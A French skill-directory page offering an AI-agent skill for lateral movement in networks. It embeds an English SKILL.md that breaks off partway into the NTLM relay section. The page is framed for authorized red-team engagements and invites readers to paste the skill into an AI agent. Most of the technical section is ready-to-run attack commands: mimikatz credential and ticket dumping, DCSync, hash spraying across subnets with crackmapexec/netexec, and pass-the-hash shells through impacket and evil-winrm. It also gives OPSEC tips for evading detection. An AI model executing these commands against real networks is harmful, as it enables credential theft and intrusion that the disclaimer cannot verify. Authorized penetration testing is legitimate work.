offensive-lateral-movement
Ce qu’il fait
Ce skill est une méthodologie pour se déplacer dans un réseau après un premier point d'appui, lors d'un test d'équipe rouge ou d'intrusion autorisé. Il couvre la réutilisation d'identifiants, le relais NTLM, les protocoles d'exécution à distance et la tunnelisation. Il s'adresse aux professionnels de la sécurité disposant d'une autorisation écrite.
Quand l’utiliser
- ✓Quand vous disposez d'un point d'appui dans un test autorisé et devez vérifier jusqu'où les identifiants peuvent aller.
- ✓Quand vous voulez tester l'exposition au relais NTLM sur des hôtes sans signature SMB.
- ✓Quand vous devez documenter chaque étape de pivot pour le rapport d'une mission.
Lien du skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/post-exploitation/offensive-lateral-movement/SKILL.mdCopiez-le et collez-le dans votre IA (Claude, ChatGPT ou Cursor) en lui demandant de suivre les instructions.
Comment l’utiliser
Le plus simple : copiez le message et collez-le dans votre IA. Elle lit le skill et suit les instructions.
Message prêt à coller
Pour Claude Code, Codex ou Cursor : lancez-la dans le dossier du projet et le skill est installé.
Téléchargez le SKILL.md et placez-le dans le dossier de skills de votre agent.
Exemple de demande à votre IA
“Nous sommes autorisés à tester notre réseau à partir d'un poste de travail compromis. Vérifie quels hôtes acceptent les identifiants réutilisés.”
5 nouveaux skills par semaine. 1 minute de lecture.
Comment ça marche
Le skill énumère les hôtes joignables et les ports courants, puis teste la réutilisation d'identifiants et les options d'exécution à distance. Il met en place des tunnels si des réseaux segmentés doivent être atteints, et consigne chaque pivot.
Contenu technique (SKILL.md original)
Texte original de l’auteur, en anglais, directement depuis GitHub.
Offensive Lateral Movement
Lateral movement is the phase where you expand access across a network after initial compromise. You pivot from one system to another using harvested credentials, token manipulation, or protocol abuse. The goal is to reach high-value targets -- domain controllers, database servers, file shares -- while minimizing detection footprint. Every technique here assumes you hold at least one valid credential or session token on the current host.
This skill covers credential-based movement, NTLM relay, remote execution protocols, session hijacking, and network tunneling. Apply these in authorized engagements only.
Quick Workflow
- Enumerate accessible hosts and open ports (445, 5985, 5986, 3389, 22, 135).
- Harvest credentials from the current host (LSASS, SAM, cached creds).
- Test credential reuse across discovered hosts with crackmapexec/netexec.
- Select a movement technique based on available credentials and target services.
- Establish persistence on the new host before moving further.
- Set up tunneling if you need to reach segmented networks.
- Document each pivot for your engagement report.
Pass-the-Hash
Pass-the-hash (PtH) lets you authenticate with an NTLM hash without knowing the plaintext password. You extract hashes from LSASS, the SAM database, or NTDS.dit, then inject them into authentication requests.
Extract hashes with mimikatz on the current host:
# Elevate to debug privilege and dump logon passwords
privilege::debug
sekurlsa::logonpasswords
# Dump SAM hashes (requires SYSTEM)
lsadump::sam
# Dump domain hashes from ntds.dit (on a DC)
lsadump::dcsync /domain:corp.local /all /csv
Use crackmapexec (or netexec) to spray the hash across the network:
# Test a single hash against a subnet
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# Execute a command on a target via PtH
crackmapexec smb 10.10.10.50 -u admin -H <NT_HASH> -x "whoami /all"
# netexec (modern fork) with same syntax
nxc smb 10.10.10.0/24 -u admin -H <NT_HASH> --shares
Use impacket for shell access:
# PtH with psexec
impacket-psexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50
# PtH with wmiexec (stealthier, no service creation)
impacket-wmiexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50
# PtH with evil-winrm
evil-winrm -i 10.10.10.50 -u administrator -H <NT_HASH>
OPSEC note: PsExec creates a service on the target (event 7045). Prefer
wmiexec or evil-winrm when possible. Crackmapexec with --no-bruteforce
prevents lockouts when testing multiple users against multiple hashes.
Pass-the-Ticket and Overpass-the-Hash
Pass-the-ticket (PtT) injects a stolen Kerberos TGT or TGS into your session, letting you authenticate as the ticket owner. Overpass-the-hash converts an NTLM hash into a Kerberos ticket, giving you Kerberos-based access from a hash alone.
Export tickets from memory with mimikatz:
# List all Kerberos tickets in memory
sekurlsa::tickets /export
# Inject a stolen TGT into the current session
kerberos::ptt C:\tickets\admin_krbtgt.kirbi
Overpass-the-hash -- request a Kerberos TGT using an NTLM hash:
# Overpass-the-hash: create a new logon session with the hash
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:<NT_HASH> /run:powershell.exe
From Linux using impacket:
# Request a TGT with a hash (overpass-the-hash)
impacket-getTGT -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator
# Set the ticket in the environment
export KRB5CCNAME=administrator.ccache
# Use the ticket with psexec
impacket-psexec -k -no-pass corp.local/administrator@dc01.corp.local
Request a service ticket for a specific SPN:
# Get a TGS for CIFS service on a target
impacket-getST -spn cifs/fileserver.corp.local -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator
OPSEC note: Kerberos authentication generates event 4768 (TGT request) and 4769 (TGS request). Overpass-the-hash produces an anomalous 4768 with RC4 encryption when AES is the domain default -- this is a known detection signal.
NTLM Relay Attacks
NTLM relay captures authentication attempts and forwards them to a target service. You coerce a machine to authenticate to your listener, then relay that authentication to another host where SMB signing is not enforced.
Check SMB s
Questions fréquentes
Qu'est-ce que le pass-the-hash ?
C'est une authentification avec un hachage de mot de passe au lieu du mot de passe en clair, que le skill teste sur les hôtes autorisés.
Faut-il d'abord un identifiant ?
Oui. Le skill suppose qu'il existe au moins un identifiant valide ou un jeton de session valide sur l'hôte actuel.
Est-ce réservé aux tests autorisés ?
Oui. Le skill est destiné aux missions autorisées.
Détails
Description originale de l’auteur
Comprehensive lateral movement tradecraft for authorized red team engagements covering credential-based movement (pass-the-hash, pass-the-ticket, overpass-the-hash), NTLM relay attacks (ntlmrelayx with PetitPotam, DFSCoerce, PrinterBug coercion), remote execution protocols (WMI, WinRM, DCOM, PsExec and alternatives), RDP session hijacking, and network pivoting through tunneling tools (chisel, ligolo-ng, SSH tunnels, SOCKS proxies). Provides operator-ready command sequences for mimikatz, crackmapexec/netexec, impacket suite, and evil-winrm with emphasis on OPSEC considerations, SMB signing bypa
repo: SnailSploit/Claude-Red
Popularité
- Étoiles GitHub
- 10k
- Position au classement
- #11965
- Licence
- MIT
- Mis à jour
- 12/10/2026
Commentaires
- …
Autres skills de ce dépôt
offensive-active-directory
10kAide votre agent à planifier un test Active Directory autorisé : cartographie du réseau, chemins d'attaque vers Domain Admin, plan documenté.
offensive-netexec
10kAide votre agent à utiliser NetExec (nxc) pour des tests réseau autorisés : protocoles, authentification et contrôles d'identifiants.
offensive-api-abuse
10kAide votre agent à planifier des tests d'API autorisés sur les abus de logique métier, GraphQL et conditions de course.
offensive-api-security
10kAide votre agent à mener des tests autorisés sur API REST, gRPC et WebSocket, selon le Top 10 de l'OWASP pour les API.
Skills similaires
reverse-engineer-anything
422kAide votre agent à analyser les applications et paquets livrés, pour expliquer leurs fonctions, comparer des versions ou guider une reconstruction, avec REA.
1password
394kAide votre agent à configurer l'interface en ligne de commande de 1Password, à se connecter, et à lire ou injecter des secrets sans afficher leurs valeurs dans le chat.
healthcheck
394kAide votre agent à auditer l'ordinateur ou le serveur qui fait tourner OpenClaw pour détecter des risques de sécurité, comme SSH, le pare-feu, les mises à jour et les sauvegardes, puis à proposer des corrections sûres.